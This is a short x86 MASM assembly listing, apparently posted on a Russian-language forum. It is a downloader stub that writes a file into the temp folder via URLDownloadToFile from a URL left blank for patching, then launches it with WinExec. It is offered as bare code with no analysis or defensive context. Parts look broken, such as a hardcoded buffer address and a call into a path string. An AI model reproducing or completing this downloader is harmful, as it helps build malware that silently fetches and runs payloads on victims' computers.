Код:
.386
.model flat, stdcall
include masm32includekernel32.inc
include masm32includeurlmon.inc
includelib masm32liburlmon.lib
includelib masm32libkernel32.lib
.data
Url db "http",0,54 dup(0)
Exe db 'exe',0,12 dup(0)
load db 0,126 dup(0)
.code
start:
mov ebx, 0040104Bh
push ebx
push 7Dh
call GetTempPath
push offset Exe
push ebx
call lstrcat
push 0
push 0
push ebx
push offset Url
push 0
call URLDownloadToFile
push ebx
call WinExec
call ebx
end start